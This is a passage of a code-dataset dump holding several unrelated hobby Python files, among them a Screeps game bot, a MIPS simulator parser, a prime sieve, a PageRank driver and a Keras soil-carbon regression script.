url=LinkDB('job',iname))\n embed.set_thumbnail(url=LinkDB('/items/icons/',job['icon'],'.png',False))\n\n while page:\n if page=='main':\n embed.ConvertFields(main(job))\n embed.title='main'\n break\n if page=='main ability':\n embed.ConvertFields(ability(job['']))\n embed.title=page\n if page=='sub ability':\n embed.ConvertFields(ability(job['']))\n embed.title=page\n if page=='reactives':\n embed.ConvertFields(ability(job['']))\n embed.title=page\n if page=='passives':\n embed.ConvertFields(ability(job['']))\n embed.title=page\n\n break\n \n return embed\n\ndef ability(ability):\n fields = []\n return fields\n\n\ndef main(job):\n fields = []\n return fields\n\n\n","sub_path":"Discord_Bot_V2/ToEmbed/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"607978879","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 8 12:47:22 2020\n\n@author: ramya\n\"\"\"\n\nroomdictionary={'kitchen':'img_Kitchen',\n 'bathroom':'img_Bathroom',\n 'bedroom':'img_Bedroom',\n 'living room':'img_living_room'\n }\n\ncommand_kitchen={['kitchen','on','light']:['kitchen_light_on_only','kitchen_light_fan_on'],\n ['kitchen','fan','on']:['kitchen_fan_on_only','kitchen_light_fan_on'],\n ['kitchen','light','off']:['img_kitchen','kitchen_fan_on_only'],\n ['kitchen','light','off']:['img_kitchen','kitchen_light_on_only']\n }\n\ncommand_bathroom={['bathroom','on','light']:'bathroom_light_on',\n ['bathroom','light','off']:'img_bathroom'\n }\n\ncommand_bedroom={['bedroom','light','on']:['bedroom_light_on_only','bedroom_light_fan_on'],\n ['bedroom','fan','on']:['bedroom_fan_on','bedroom_light_fan_on'],\n ['bedroom','light','off']:['img_bedroom','bedroom_fan_on_only'],\n ['bedroom','fan','off']:['img_bedroom','bedroom_light_on_only']\n }\n\ncommand_living_room={['living room','light','on']:['living_room_light_on_only','living_room_light_fan_on'],\n ['living room','fan','on']:['living_room_fan_on_only','living_room_light_fan_on'],\n ['living room','light','off']:['img_living_room','living_room_light_on_only'],\n ['living room','fan','off']:['img_living_room','living_room_fan_on_only']}\n","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"191166849","text":"from defs import *\nimport jobs\nimport room\nimport creep as mod_creep\n__pragma__('noalias', 'name')\n__pragma__('noalias', 'undefined')\n__pragma__('noalias', 'Infinity')\n__pragma__('noalias', 'keys')\n__pragma__('noalias', 'get')\n__pragma__('noalias', 'set')\n__pragma__('noalias', 'type')\n__pragma__('noalias', 'update')\n\n\ntypes = {\n \"defendMelee\": {\"min\": 2, \"body\": [ATTACK, ATTACK, MOVE, MOVE], \"check\": lambda spawn: len(spawn.room.hostiles) > 0 or Game.flags[\"Emergency!\"] is not undefined},\n \"defendRanged\": {\"min\": 4, \"body\": [RANGED_ATTACK, RANGED_ATTACK, MOVE, MOVE], \"check\": lambda spawn: len(spawn.room.hostiles) > 0 or Game.flags[\"Emergency!\"] is not undefined},\n \"attackMelee\": {\"min\": 6, \"body\": [ATTACK, ATTACK, MOVE, MOVE, MOVE, TOUGH, TOUGH, TOUGH, TOUGH, TOUGH], \"check\": lambda spawn: Memory.attack_room is not undefined},\n \"attackRanged\": {\"min\": 6, \"body\": [RANGED_ATTACK, RANGED_ATTACK, MOVE, MOVE, MOVE, TOUGH, TOUGH, TOUGH, TOUGH, TOUGH], \"check\": lambda spawn: Memory.attack_room is not undefined},\n \"spawn\": {\"min\": 2, \"body\": [WORK, CARRY, CARRY, MOVE]},\n \"bigSpawn\": {\"min\": 2},\n \"fillTowers\": {\"min\": 1},\n \"repair\": {\"min\": 2},\n \"wallrepair\": {\"min\": 1},\n \"upgrade\": {\"min\": 1},\n \"fillStorage\": {\"min\": 0},\n \"wallrepair\": {\"min\": 0},\n \"build\": {\"min\": 0},\n \"farHarvest\": {\"min\": 4, \"body\": [WORK, CARRY, CARRY, CARRY, CARRY, MOVE, MOVE, MOVE, MOVE]},\n \"transport\": {\"min\": 0, \"body\": [CARRY, CARRY, CARRY, CARRY, CARRY, CARRY, MOVE, MOVE, MOVE, MOVE, MOVE, MOVE]}\n}\n\n# add_line(\"E38N6\", \"E38N5\")\n\ndef main():\n \"\"\"\n Main game logic loop.\n \"\"\"\n # update_towers(Game.rooms.E38N6)\n # room.find_sources_impl(Game.rooms.E38N6)\n # print(Object.keys(Game.rooms))\n setup()\n mod_creep.setup()\n jobs.setup()\n room.setup()\n if Memory.attack_room == \"E38N5\" and Game.time > 1615027 + (1*60/2.53):\n # print(\"TWO MINUTES! TWO MINUTES!\")\n pass\n for i in _.filter(Object.keys(Game.creeps), lambda cn: Game.creeps[cn].memory.job is undefined):\n # print(Game.creeps[i].memory.job, Game.creeps[i].memory.old_job)\n Game.creeps[i].suicide()\n attackers = len(_.filter(Object.keys(Game.creeps), lambda cn: Game.creeps[cn].memory.job.includes(\"attack\")))\n # print(attackers)\n if attackers > 9:\n js_global.attack_go = True\n\n if Memory.claim_room.step == 2:\n roomobj = Game.rooms[Memory.claim_room.room]\n if roomobj == undefined:\n del Memory.claim_room\n if len(roomobj.find(FIND_CONSTRUCTION_SITES, {\"filter\": lambda c: c.structureType == STRUCTURE_SPAWN})) > 0:\n setup_room(Memory.claim_room.room)\n Memory.claim_room.step = 3\n\n for name in Object.keys(Memory.creeps):\n if Game.creeps[name] == undefined:\n destroy_creep(name)\n del Memory.creeps[name]\n\n attack_room = Game.rooms[Memory.attack_room]\n find_hostiles(attack_room)\n\n for roomname in _.filter(Object.keys(Game.rooms), lambda rn: Game.rooms[rn].controller.my):\n this_room = Game.rooms[roomname]\n find_hostiles(this_room)\n setup_room(roomname)\n if Game.time % 20 == 0:\n room.update_sources(this_room)\n con_sites = len(this_room.find(FIND_CONSTRUCTION_SITES))\n if this_room.memory.building is not True:\n if con_sites > 0:\n # print(\"Making builders\")\n did_one = False\n for name in _.filter(Object.keys(Game.creeps), lambda c: Game.creeps[c].memory.job == \"upgrade\"):\n if did_one == False:\n did_one = True\n else:\n Game.creeps[name].memory.job = \"build\"\n this_room.memory.building = True\n elif this_room.memory.building == True and con_sites == 0:\n # print(\"making upgraders\")\n this_room.memory.building = False\n for name in _.filter(Object.keys(Game.creeps), lambda c: Game.creeps[c].memory.job == \"build\"):\n Game.creeps[name].memory.job = \"upgrade\"\n\n run_spawn(this_room.memory.spawn)\n spawn_transports(this_room.memory.spawn)\n run_towers(this_room)\n\n for name in Object.keys(Game.creeps):\n creep = Game.creeps[name]\n if creep.spawning == False:\n if creep.memory.homeroom is undefined:\n creep.memory.homeroom = Memory.main_room\n creep.runJob()\n\n\ndef destroy_creep(name):\n memory = Memory.creeps[name]\n if memory.job == \"transport\" and memory.line is not undefined:\n unget_line(memory.line.id)\n\n\ndef find_hostiles(room):\n if room is not undefined:\n if room.controller.owner == Game.rooms[Memory.main_room].controller.owner:\n room.hostiles = room.find(FIND_HOSTILE_CREEPS)\n else:\n room.hostiles = room.find(FIND_HOSTILE_CREEPS, {\"filter\": lambda c: not Memory.friends.includes(c.owner.username)})\n\n\ndef run_towers(room):\n if len(room.hostiles) > 0:\n for towerid in room.memory.towers:\n tower = Game.getObjectById(towerid)\n target = tower.pos.findClosestByRange(room.hostiles)\n if target is not undefined:\n tower.attack(target)\n\ndef priceCreep(body):\n total = 0\n for i in range(len(body)):\n part = body[i]\n if part == TOUGH:\n total += 10\n elif part == MOVE or part == CARRY:\n total += 50\n elif part == ATTACK:\n total += 80\n elif part == WORK:\n total += 100\n elif part == RANGED_ATTACK:\n total += 150\n elif part == HEAL:\n total += 250\n elif part == CLAIM:\n total += 600\n return total\n\n\ndef bestBaseBody(energy):\n energy -= energy % 250\n energy /= 250\n body = []\n for i in range(energy):\n body[len(body)] = WORK\n body[len(body)] = CARRY\n body[len(body)] = MOVE\n body[len(body)] = MOVE\n return body\n\n\ndef createCustomCreep(job, body):\n body = body or bestBaseBody(this.room.energyCapacityAvailable)\n cost = priceCreep(body)\n # print(body, cost)\n if this.room.energyAvailable >= cost and this.spawning == null and cost > 0:\n this.createCreep(body, f\"{job} {Memory.creep_count}\", {\"job\": job, \"working\": False, \"homeroom\": this.room.name})\n print(f\"Spawning {job} in {this.room.name}\")\n Memory.creep_count += 1\n return True\n else:\n return False\n\n\ndef createClaimer():\n this.createCreep([CLAIM, MOVE], f\"Claimer {Memory.claim_room.room}\", {\"job\": \"claim\", \"target\": Memory.claim_room.room})\n\n\ndef run_spawn(spawnname):\n if Object.keys(Game.spawns).includes(spawnname):\n spawn = Game.spawns[spawnname]\n if spawn.memory.types is undefined:\n spawn.memory.types = types\n this_room = spawn.room\n types2 = {}\n spawned = False\n for type in Object.keys(types):\n check2 = lambda s: True\n check = types[type].check or check2\n if check(spawn):\n num = _.sum(Game.creeps, lambda c: c.memory.homeroom == this_room.name and c.memory.job == type)\n if type == \"spawn\" and num >= types.spawn.min and this_room.name == Memory.claim_room.room:\n Memory.claim_room = {\n \"room\": \"\",\n \"step\": -1\n }\n types2[type] = num\n if num < types[type][\"min\"]:\n body = types[type][\"body\"]\n if spawned == False:\n spawned = spawn.createCustomCreep(type, body)\n if spawned == False and spawn.spawning == null and this_room.energyAvailable >= 250:\n if Memory.claim_room.step is 1 and this_room.energyAvailable >= 650:\n spawn.createClaimer()\n job = \"fill_storage\"\n this_rooms_creeps = _.sum(Game.creeps, lambda c: c.memory.homeroom == this_room.name and c.memory.job == job)\n # this_rooms_creeps = len(_.filter(Object.keys(Game.creeps), lambda c: Game.creeps[c].room.name == spawn.room.name))-types.far_harvest.min\n # print(this_rooms_creeps, this_room.name)\n if this_rooms_creeps < (this_room.memory.max_creeps)*1.25:\n spawn.createCustomCreep(job)\n # name = spawn.createCreep([WORK, CARRY, MOVE, MOVE], f\"upgrade {Memory.creep_count}\", {\"job\": job, \"working\": False})\n # print(f\"Spawning {job} in {spawn.room.name}\")\n i = 0\n for type in Object.keys(types2):\n this_room.visual.text(f\"{type}: {types2[type]}\", (Game.flags[f\"{this_room.name} Stats\"] or {\"pos\": {\"x\": 10}}).pos.x+0.7, (Game.flags[f\"{this_room.name} Stats\"] or {\"pos\": {\"y\": 10}}).pos.y-0.5 + (i/10*4), {\"font\": \"0.4\", \"align\": \"left\"})\n i += 1\n\n\ndef spawn_transports(spawnname):\n spawn = Game.spawns[spawnname]\n if spawn is not undefined:\n lines = len(Memory.transport_lines)\n creeps = len(_.filter(Object.keys(Game.creeps), lambda cn: Game.creeps[cn].memory.job == \"transport\"))\n if creeps < lines*2:\n spawn.createCustomCreep(\"transport\", types.transport.body)\n\n\ndef add_line(src, dest):\n if Memory.next_line is undefined:\n Memory.next_line = 0\n if Memory.transport_lines is undefined:\n Memory.transport_lines = []\n Memory.transport_lines[len(Memory.transport_lines)] = {\"id\": Memory.next_line, \"src\": src, \"dest\": dest, \"number\": 0}\n Memory.next_line += 1\n\n\ndef get_line():\n chosen = _.sortBy(Memory.transport_lines, \"number\")[0]\n for i in range(len(Memory.transport_lines)):\n if chosen.id == Memory.transport_lines[i].id:\n Memory.transport_lines[i].number += 1\n return chosen\n\n\ndef unget_line(id):\n for i in range(len(Memory.transport_lines)):\n if id == Memory.transport_lines[i].id:\n Memory.transport_lines[i].number -= 1\n\n\ndef claim_room(roomname):\n Memory.claim_room = {\n \"room\": roomname,\n \"step\": 1\n }\n\n\ndef add_far_harvest(id, roomname):\n Memory.far_harvest.append({\n \"id\": id,\n \"room\": roomname\n })\n\n\ndef emergency_spawn():\n for i in Object.keys(Game.creeps):\n Game.creeps[i].memory.job = \"spawn\"\n\n\ndef end_emergency_spawn():\n ready = -types[\"spawn\"].min\n for i in _.filter(Object.keys(Game.creeps), lambda c: Memory.creeps[c].job == \"spawn\"):\n if ready >= 0:\n Game.creeps[i].suicide()\n else:\n ready += 1\n\n\nempty_claim_room = {\n \"room\": \"\",\n \"step\": ERR_BUSY\n}\n\ndef setup():\n js_global.claim_room = claim_room\n js_global.add_far_harvest = add_far_harvest\n js_global.emergency_spawn = emergency_spawn\n js_global.end_emergency_spawn = end_emergency_spawn\n js_global.set_spawn_types = set_spawn_types\n js_global.update_storage = update_storage\n js_global.update_towers = update_towers\n js_global.add_line = add_line\n js_global.get_line = get_line\n js_global.unget_line = unget_line\n js_global.setup_roads = setup_roads\n js_global.delete_roads = delete_roads\n js_global.all_build = all_build\n Function.prototype.clone = clone_func\n js_global.moveStyle = {\n \"fill\": 'transparent',\n \"stroke\": '#fff',\n \"lineStyle\": 'dotted',\n \"strokeWidth\": .15,\n \"opacity\": 0.75\n }\n js_global.farMoveStyle = {\n \"fill\": 'transparent',\n \"stroke\": '#f00',\n \"lineStyle\": 'dashed',\n \"strokeWidth\": .15,\n \"opacity\": 0.75\n }\n js_global.moveStorageStyle = {\n \"fill\": 'transparent',\n \"stroke\": '#00f',\n \"lineStyle\": 'dotted',\n \"strokeWidth\": .15,\n \"opacity\": 0.25\n }\n StructureSpawn.prototype.createClaimer = createClaimer\n # StructureSpawn.prototype.createClaimer = createClaimer\n StructureSpawn.prototype.createCustomCreep = createCustomCreep\n if Memory.far_harvest is undefined:\n Memory.far_harvest = []\n del Memory.far_harvest_room\n if Memory.main_room is undefined:\n Memory.main_room = Object.keys(Game.rooms)[0]\n if Memory.creep_count is undefined:\n Memory.creep_count = 0\n if Memory.claim_room is undefined:\n Memory.claim_room = empty_claim_room\n if Memory.friends is undefined:\n Memory.friends = []\n\n\ndef clone_func():\n cloneObj = this;\n if this.__isClone:\n cloneObj = this.__clonedFrom\n def temp(*args):\n cloneObj.apply(this, args)\n for key in this:\n temp[key] = this[key]\n temp.__isClone = True\n temp.__clonedFrom = cloneObj\n return temp\n\n\ndef set_spawn_types():\n for name in Object.keys(Game.spawns):\n Game.spawns[name].memory.types = types\n\n\ndef update_storage():\n for roomname in Object.keys(Game.rooms):\n roomobj = Game.rooms[roomname]\n roomobj.memory.storage = []\n storages = roomobj.find(FIND_STRUCTURES, {\"filter\": lambda s: s.structureType == STRUCTURE_CONTAINER or s.structureType == STRUCTURE_STORAGE})\n for s in range(len(storages)):\n storage = storages[s]\n roomobj.memory.storage[len(roomobj.memory.storage)] = storage.id\n room.find_sources_impl(roomobj)\n\n\ndef update_towers():\n for roomname in Object.keys(Game.rooms):\n roomobj = Game.rooms[roomname]\n roomobj.memory.towers = []\n towers = roomobj.find(FIND_STRUCTURES, {\"filter\": lambda s: s.structureType == STRUCTURE_TOWER})\n for s in range(len(towers)):\n tower = towers[s]\n roomobj.memory.towers[len(roomobj.memory.towers)] = tower.id\n\n\ndef setup_room(roomname):\n roomobj = Game.rooms[roomname]\n if Game.time % 200 == 0:\n room.find_sources_impl(roomobj)\n if Game.time % 200 == 1:\n update_storage()\n if Game.time % 200 == 2:\n setup_roads(roomobj)\n if Game.time % 20 == 0:\n build_roads(roomobj)\n for i in range(len(roomobj.memory.sources)):\n ii = roomobj.memory.sources[i]\n source = Game.getObjectById(ii.id)\n if source is not null:\n roomobj.visual.text(f\"A{ii.assigned}\", source.pos.x+0.25, source.pos.y-0.05, {\"font\": \"0.3\", \"align\": \"left\"})\n roomobj.visual.text(f\"M{ii.max}\", source.pos.x+0.25, source.pos.y+0.25, {\"font\": \"0.3\", \"align\": \"left\"})\n if isinstance(roomobj.memory.storage, str):\n roomobj.memory.storage = [roomobj.memory.storage]\n if roomobj.memory.spawn is undefined or not Object.keys(Game.spawns).includes(roomobj.memory.spawn):\n spawns = roomobj.find(FIND_MY_SPAWNS)\n # print(len(spawns))\n if len(spawns) > 0:\n roomobj.memory.spawn = spawns[0].name\n spawn = spawns[0]\n\n\ndef setup_roads(room):\n roads = []\n things = []\n controller = room.controller\n spawn = Game.spawns[room.memory.spawn]\n for i in range(len(room.memory.sources)):\n thing = Game.getObjectById(room.memory.sources[i].id)\n things.append(thing)\n for i in range(len(things)):\n thing = things[i]\n path = controller.pos.findPathTo(thing)\n path2 = spawn.pos.findPathTo(thing)\n for j in range(len(path)):\n p = path[j]\n road = {\"x\": p.x, \"y\": p.y}\n roads.append(road)\n for j in range(len(path2)):\n p = path2[j]\n road = {\"x\": p.x, \"y\": p.y}\n roads.append(road)\n room.memory.roads = roads\n\n\ndef build_roads(room):\n for i in range(len(room.memory.roads)):\n road = room.memory.roads[i]\n room.createConstructionSite(road.x, road.y, STRUCTURE_ROAD)\n\n\ndef delete_roads(room):\n sites = room.find(FIND_CONSTRUCTION_SITES, lambda s: s.structureType == STRUCTURE_ROAD)\n for i in sites:\n print(i.structureType)\n # i.remove()\n roads = room.find(FIND_STRUCTURES, lambda s: s.structureType == STRUCTURE_ROAD)\n for i in roads:\n if i.structureType == STRUCTURE_ROAD:\n print(i)\n # i.destroy()\n\n\ndef all_build(room):\n for i in Object.keys(Game.creeps):\n creep = Game.creeps[i]\n if creep.room.name == room:\n creep.memory.job = \"build\"\n\nmodule.exports.loop = main\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"566791295","text":"#!/usr/bin/python\n\n'''\n\nsetup.py\n\nLoad the initial state\n\nClasses of instructions:\n\nData Transfers\nLW, SW, L.D, S.D\n\nArithmetic/ logical\nDADD, DADDI, DSUB, DSUBI, AND, ANDI, OR, ORI,ADD.D, MUL.D, DIV.D, SUB.D\n\nControl\nJ, BEQ, BNE\n\nSpecial purpose\nHLT (to stop fetching new instructions)\n\nSample code:\n\nL.D F6, 34(R2)\nL.D F2, 45(R3)\nMUL.D F0, F2, F4\nSUB.D F8, F6, F2\nDIV.D F10, F0, F6\nADD.D F6, F8, F2\n\nRegisters:\nR0 = 0\nR1 - R31 integer registers (64 bits)\nF0 - F31 FP registers (32/64 bits)\n\n\n'''\n\nimport pdb\n\nclass Setup:\n\n \n\n def parse_instructions(self, filename):\n \n inst_dict = {}\n lable_dict = {}\n\n f = open(filename)\n lines = f.readlines()\n\n location = 0\n\n for l in lines:\n if l.find(':') != -1:\n str = l\n str = str.split(':')\n lable_dict[location] = str[0].replace(':','')\n str = str[1].strip().split(' ', 1)\n if len(str) == 1:\n inst_dict[location] = str\n location = location + 4\n continue\n cmd = str[0]\n str = str[1].strip().split(',')\n tmp_str = str\n str = []\n for i in tmp_str:\n str.append(i.strip())\n inst_dict[location] = [cmd] + str\n\n else:\n str = l.strip().split(' ', 1)\n if len(str) == 1:\n inst_dict[location] = str\n location = location + 4\n continue\n cmd = str[0]\n str = str[1].split(',')\n tmp_str = str\n str = []\n for i in tmp_str:\n str.append(i.strip())\n inst_dict[location] = [cmd] + str\n\n location = location + 4\n return inst_dict, lable_dict\n\n def parse_memory(self, filename):\n mem_dict = {}\n\n f = open(filename)\n lines = f.readlines()\n \n location = int('0x100',16)\n for l in lines:\n l = l.strip()\n mem_dict[location] = int(l,2)\n location = location + 4\n\n return mem_dict\n\n def parse_registers(self, filename):\n reg_dict = {}\n\n f = open(filename)\n lines = f.readlines()\n \n register = 0\n for l in lines:\n l = l.strip()\n reg_dict['R' + str(register)] = int(l,2)\n register = register + 1\n\n return reg_dict\n\n def parse_config(self, filename):\n config_dict = {}\n\n f = open(filename)\n lines = f.readlines()\n \n for l in lines:\n l = l.strip().split(':')\n if len(l[1].split(',')) == 2:\n config_dict[l[0].strip()] = [l[1].split(',')[0].strip(), l[1].split(',')[1].strip()]\n else:\n config_dict[l[0].strip()] = [l[1].strip()]\n\n return config_dict\n\n def return_priority(self,config):\n \n pipelined = list()\n unpipelined = list()\n for k in config.keys():\n if len(config[k]) == 2:\n if config[k][1] == 'no':\n unpipelined.append([k] + config[k])\n for k in config.keys():\n if len(config[k]) == 2:\n if config[k][1] == 'yes':\n pipelined.append([k] + config[k])\n \n unpipelined.sort(key=lambda x: x[1], reverse=True)\n pipelined.sort(key=lambda x: x[1], reverse=True)\n return unpipelined + pipelined + [['IU', 1]]\n \n\n def parse_old(self, filename):\n \n #TODO There is a inconsistancy between having DADDI and DADD.i\n\n Data_Instructions_List = ['LW', 'SW', 'L.D', 'S.D']\n Arithmetic_Instructions_List = ['DADD', 'DADDI', 'DSUB', 'DSUBI', 'AND', 'ANDI', 'OR', 'ORI', 'ADD.D', 'MUL.D', 'DIV.D', 'SUB.D']\n Control_Instructions_List = ['J', 'BEQ', 'BNE']\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"250277965","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\ntime=1000\nN=1\nbnd=10\ntrax=[0]\ntray=[0]\n\ndef frand():\n return 2*(np.random.random()-0.5)\n\ndef pmrand():\n if frand()>0: return 1\n else: return -1\n\n#def pmrand():\n# if frand()>1/2: return 1\n# else: return -1\n\nfor j in range(0,N):\n for i in range(0,time):\n\n if frand()>0:\n newpos = trax[i] + pmrand()\n if newpos > bnd: newpos -= 2*bnd\n if newpos < -bnd: newpos += 2*bnd\n trax.append(newpos)\n tray.append(tray[i])\n else:\n newpos = tray[i] + pmrand()\n if newpos > bnd: newpos -= 2*bnd\n if newpos < -bnd: newpos += 2*bnd\n trax.append(trax[i])\n tray.append(newpos)\n\n#print(trax)\n#print(tray)\n\nfrom pyprocessing import *\nsize(200,200)\nrectMode(CENTER)\nrect(100,100,20,100)\nellipse(100,70,60,60)\nellipse(81,70,16,32) \nellipse(119,70,16,32) \nline(90,150,80,160)\nline(110,150,120,160)\nrun()\n\n #if dec > 0:\n #if (trax[i]+step) > bnd:\n # trax.append(trax[i]+step-2*bnd)\n #if (trax[i]+step) < -bnd:\n # trax.append(trax[i]+step+2*bnd)\n #if ((trax[i]+step) < bnd )|((trax[i]+step) > -bnd):\n #newpos= trax[i]+step\n #trax.append(newpos) \n #if dec < 0:\n #if (tray[i]+step) > bnd:\n # tray.append(tray[i]+step-2*bnd)\n #if (tray[i]+step) < -bnd:\n # tray.append(tray[i]+step+2*bnd)\n #if ((tray[i]+step) < bnd )|((tray[i]+step) > -bnd):\n #newpos= tray[i]+step\n #tray.append(newpos) \n #print(trax[i],tray[i])\n #plt.plot(trax,tray)\n #print(tray)\n #print(trax)\n\n#plt.show()\n","sub_path":"RW-2d-lattice-periodic.py","file_name":"RW-2d-lattice-periodic.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"581705405","text":"# Problem 10: Summation of Primes\n\n\ndef sieve(num):\n \"\"\"Uses the Sieve of Erastosthenes to calculate all primes up to 'num'.\"\"\"\n A = [True for i in range(num)]\n\n for i in range(2, int(num ** 0.5)): # Square root as j starts at i ** 2.\n if A[i] is True:\n for j in range(i ** 2, len(A), i): # The first multiple is i ** 2.\n A[j] = False # Change all multiples to False\n\n return [i for i in range(len(A)) if A[i] is True][2:] # Remove 0 and 1.\n\n\nprint(sum(sieve(2000000)))\n","sub_path":"Problems/problem_10.py","file_name":"problem_10.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"435146167","text":"\n\nif __name__ == \"__main__\":\n\n # Loads in input file. It should be in format of:\n # URL neighbor URL\n # URL neighbor URL\n # URL neighbor URL\n # ...\n lines = sc.textFile(\"pagerank_input.txt\")\n\n # Loads all URLs from input file and initialize their neighbors.\n nb = sc.map(lines, lambda urls: parseNeighbors(urls))\n dist = sc.distinct(nb)\n links = sc.groupByKey(dist)\n sc.cache(links)\n\n\n # Loads all URLs with other URL(s) link to from input file and initialize ranks of them to one.\n # ranks = links.map(lambda url_neighbors: (url_neighbors[0], 1.0))\n ranks = sc.map(links, lambda url_neighbors: (url_neighbors[0], 1.0))\n\n\n\n for iteration in range(2):\n # Calculates URL contributions to the rank of other URLs.\n\n # joind result is like: [('a', (['b', 'c'], 1.0)), ('c', (['d'], 1.0)), ('d', (['a'], 1.0))]\n joined = sc.join(links, ranks)\n\n contribs = sc.flatMap(joined, lambda url_urls_rank: computeContribs(url_urls_rank[1][0], url_urls_rank[1][1]))\n\n # Re-calculates URL ranks based on neighbor contributions.\n rbk = sc.reduceByKey(contribs)\n ranks = sc.mapValues(rbk, lambda rank: rank * 0.85 + 0.15)\n\n # Collects all URL ranks and dump them to file and console.\n with open('pagerank_out.txt', 'wb') as f:\n for (link, rank) in sc.collect(ranks):\n f.write(str(link) + ' ' + str(rank) + '\\n')\n print(\"%s has rank: %s.\" % (link, rank))","sub_path":"pagerank.py","file_name":"pagerank.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"25679063","text":"from keras import losses\nfrom keras.models import Sequential\nfrom keras.layers import Activation\nfrom keras.layers.core import Dense\nfrom keras.optimizers import Adam\nfrom keras.metrics import mean_squared_error\nfrom keras.wrappers.scikit_learn import KerasRegressor\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\nimport tensorflow as tf\nimport csv\nimport pandas as pd\nimport random as rn\n\n\n###############################################################################################################\n\n\n\naugment = True\nn_sample_gen = 1\n\naug_ranges = {0: [0.005], #'C' \n\t\t\t 1: [10.], #'max' \n\t\t\t 2: [10.], #'median' \n\t\t\t 3: [10.], #'min' \n\t\t\t 4: [1.5], #'sd_stdDev' \n\t\t\t 5: [.8], #'aspect' \n\t\t\t 6: [10.], #'elevation' \n\t\t\t 7: [1.], #'hillshade' \n\t\t\t 8: [0.05], #'slope' \n\t\t\t 9: [8.], #'B1' \n\t\t\t 10: [8.], #'B11' \n\t\t\t 11: [8.], #'B12' \n\t\t\t 12: [8.], #'B2' \n\t\t\t 13: [8.], #'B3' \n\t\t\t 14: [8.], #'B4' \n\t\t\t 15: [8.], #'B5' \n\t\t\t 16: [8.], #'B6' \n\t\t\t 17: [8.], #'B7' \n\t\t\t 18: [8.], #'B8' \n\t\t\t 19: [8.], #'B9' \n\t\t\t 20: [8.] #'B10' \n\t\t\t }\n\n\t\t\t \n############### \n\n\ndef aug_data(data_frame):\n original_data = np.array(data_frame)\n generated_data = []\n\n for v in original_data:\n for n in range(n_sample_gen):\n generated_sample = []\n for i, value in enumerate(v):\n if i == 0:\n generated_sample.append(value)\n else:\n generated_sample.append(value+rn.uniform(-aug_ranges[i][0], -aug_ranges[i][0]))\n generated_data.append(generated_sample)\n\t\t\n combined_data = np.concatenate((original_data, generated_data), axis=0)\n\t\n return combined_data\n\n##################################### HABE DOCH DIE NORMALISIERUNG RAUSGENOMMEN, WEIL ICH MICH DA VERTAN HAB - STANDARDISIERUNG REICHT VIELLEICHT WIE DU MEINTEST \n##################################### DAS IST JA DANN ALLES ETWA IM UMFELD VON KLEINEN WERTEN - DIE FRAGE IST NUR OB WEIT ENTFERNTE OUTLIER PROBLEME MACHEN KÖNNTEN\n##################################### DESWEGEN IST HIER AUCH DIE EINTEILUNG IN GRUPPEN NICHT NÖTIG\n\ndef prep_data(path):\n\tReadCsv = pd.read_csv(path)\n\t\n\tsample_datafrane = pd.DataFrame(ReadCsv, columns=['C', 'max', 'median', 'min', 'sd_stdDev', 'aspect', 'elevation', 'hillshade', 'slope', 'B1', 'B11', 'B12', 'B2', 'B3', 'B4', 'B5', 'B6', 'B7', 'B8', 'B9', 'B10'])\n\t\n\tscaler = StandardScaler()\n\t\n\tif augment is True:\n\t\tsamples = aug_data(sample_datafrane)\n\telse:\n\t\tsamples = sample_datafrane\n\t\n\tscaled_samples = scaler.fit_transform(samples) \n\t\n\tinput_data = scaled_samples[:,1:].copy()\n\tlabels = scaled_samples[:,:1].copy()\n\t\n\treturn input_data, labels\n\n\n#####################################\t\n\t\n \ndef build_model():\n model = Sequential([Dense(35, input_dim=20, kernel_initializer='normal', activation='relu'),\n Dense(250, kernel_initializer='normal', activation='relu'),\n #Dense(350, kernel_initializer='normal', activation='relu'),\n #Dense(500, kernel_initializer='normal', activation='relu'),\n #Dense(2000, kernel_initializer='normal', activation='relu'),\n Dense(600, kernel_initializer='normal', activation='relu'),\n Dense(1, kernel_initializer='normal')\n ])\n \n model.compile(loss=\"mean_squared_error\", optimizer='Adam')\n return model\n\n\n################################### HAUPTPROBLEM WAR, DASS LOSS-FUNCTION UND METRICS AUF EIN\n################################### KATEGORISIERUNGSPROBLEM AUSGELEGT WAREN WIR ABER EIN REGRESSIONSPROBLEM HABEN\n\n\ndef train(train_data, labels):\n seed=5\n np.random.seed(seed)\n \n estimators = []\n estimators.append(('standardize', StandardScaler()))\n estimators.append(('mlp', KerasRegressor(build_fn=build_model, epochs=100, batch_size=5, verbose=1)))\n \n pipeline = Pipeline(estimators)\n kfold = KFold(n_splits=8, random_state=seed)\n \n results = cross_val_score(pipeline, train_data, labels, cv=kfold)\n print(\"Standardized: %.2f (%.2f) MSE\" % (results.mean(), results.std()))\n\n \ndef predict(data):\n\tpass\n\n\t\n\t\n###########################################################################################################\t\n\t\n\t\n\t\ninput_data, labels = prep_data(r'/home/fk/Desktop/Data2.csv')\n\ntrain(input_data, labels)\n","sub_path":"HIER/soill.py","file_name":"soill.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"392452541","text":"from typing import Any, Dict\n\nfrom django.conf import settings\nfrom django.http import HttpRequest\n\n\ndef get_generic_request() -> HttpRequest:\n request = HttpRequest()\n request.method = \"GET\"\n request.META = 